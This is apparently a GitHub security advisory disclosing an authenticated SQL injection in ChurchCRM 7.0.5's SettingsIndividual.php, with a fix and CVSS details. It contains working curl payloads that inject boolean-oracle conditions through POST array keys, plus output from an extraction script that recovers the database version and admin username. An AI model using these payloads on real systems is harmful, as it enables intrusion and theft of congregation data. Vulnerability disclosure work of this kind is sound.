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# SQL Injection via Unsanitized Array Keys in SettingsIndividual.php

High DawoudIO published GHSA-h7hg-f7cw-9xwc 2 days ago

## Package

*php* ChurchCRM (Composer)

## Affected versions

7.0.5

## Patched versions

7.1.0

## Description

# SQL Injection via Unsanitized Array Keys in SettingsIndividual.php

**Date:** March 30, 2026

**Severity:** HIGH

**CVSS 3.1 Score:** 8.8

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**Affected Versions:** ChurchCRM 7.0.5 and earlier

**CWE:** CWE-89 (SQL Injection)

## Summary

A SQL injection vulnerability exists in ChurchCRM's `SettingsIndividual.php` where user-controlled array keys from the `type` POST parameter are used directly in SQL queries without sanitization. This allows any authenticated user to extract sensitive data from the database.

## Root Cause

In `src/SettingsIndividual.php`, the `type` POST parameter array keys are extracted and used in SQL queries without validation:

```
// VULNERABLE CODE (Line ~20)
$type = $_POST['type'];
$id = key($type); // ← Raw array key, NO sanitization

$sql = "SELECT * FROM userconfig_ucfg WHERE ucfg_id=$id AND ucfg_per_id=$iPersonID";
// ← $id interpolated directly into SQL without escaping
```

While values are sanitized via `InputUtils::legacyFilterInput()`, array keys are never validated or escaped before SQL interpolation.

The screenshot shows a Burp Suite interface with a request and response. The request is a POST to `/SettingsIndividual.php` with a payload that includes a SQL injection payload. The response shows a fatal error message: "Uncaught mysqli\_sql\_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' AND ucfg\_per\_id=30' at line 1 in /var/www/html/ChurchCRM/Utils/FunctionsUtils.php:24". The stack trace shows the error occurred in `runQuery()` at line 24.

## Step 1: Confirm Vulnerability (Boolean Oracle)

### Test TRUE Condition (Expected: HTTP 302)

```
curl -i -X POST "http://<target>/SettingsIndividual.php" \
-H "Cookie: CRM-40d1b2d83998fabacb726e5bc3d22129=VALID_SESSION" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "save=Save+Settings" \
-d "PersonID=1" \
-d "type[99999 OR EXISTS(SELECT 1 WHERE 1=1)]=text" \
-d "new_value[99999]=test" \
-w "\n[HTTP Code]: %{http_code}\n" -o /dev/null
```

### Test FALSE Condition (Expected: HTTP 200 or 500)

```
curl -i -X POST "http://<target>/SettingsIndividual.php" \
-H "Cookie: CRM-40d1b2d83998fabacb726e5bc3d22129=VALID_SESSION" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "save=Save+Settings" \
-d "PersonID=1" \
-d "type[99999 OR EXISTS(SELECT 1 WHERE 1=2)]=text" \
-d "new_value[99999]=test" \
-w "\n[HTTP Code]: %{http_code}\n" -o /dev/null
```



## Step 2: Extract Database Version (Character-by-Character)

```
# Test if first char of @@version is '1' (ASCII 49)
curl -s -X POST "http://<target>/SettingsIndividual.php" \
-H "Cookie: CRM-40d1b2d83998fabacb726e5bc3d22129=VALID_SESSION" \
-d "save=Save+Settings&PersonID=1" \
-d "type[99999 OR EXISTS(SELECT 1 WHERE ASCII(SUBSTRING((@@version),1,1))=49)]=text" \
-d "new_value[99999]=test" \
-w "%{http_code}" -o /dev/null
```



```
root@shadow:~/CRM/docker# chmod +x extract.py
python3 extract.py

ChurchCRM SQL Injection - HTTP Status Oracle
CVE: CHURCHCRM-2026-005

[1] Confirming boolean oracle...
TRUE (1=1): HTTP 302 ✓
FALSE (1=2): HTTP 200 ✓

[✓] Oracle confirmed!

[2] Extracting database version...
[*] Extracting: @@version...
[*] Progress: 10.11.16-MariaDB-ubu2204
[*] End at position 25

[+] Version: 10.11.16-MariaDB-ubu2204

[3] Extracting admin username...
[*] Extracting: (SELECT usr_UserName FROM user_usr WHERE usr_Admin...
[*] Progress: Admin
[*] End at position 6

[+] Admin: Admin

✓ Extraction complete!

root@shadow:~/CRM/docker#
```

## Remediation

### Immediate Fix: Sanitize Array Keys

In `src/SettingsIndividual.php`, sanitize the `$id` variable extracted from array keys before using it in SQL queries:

```
// src/SettingsIndividual.php (around line 20)
// BEFORE (VULNERABLE):
$id = key($type); // Raw array key, no sanitization

// AFTER (SECURE):
$raw_id = key($type);
$id = InputUtils::legacyFilterInput($raw_id, 'int'); // Cast to integer
```



This ensures that only valid integer values can be used in the `ucfg_id` comparison, preventing SQL injection via array key manipulation.

## Credits

### Vulnerability Discovered & Reported By:



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### Severity

**High** 8.8 / 10

#### CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### CVE ID


CVE-2026-39317

### Weaknesses

▶ CWE-89

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### Credits

 **sh4dowalker**

Reporter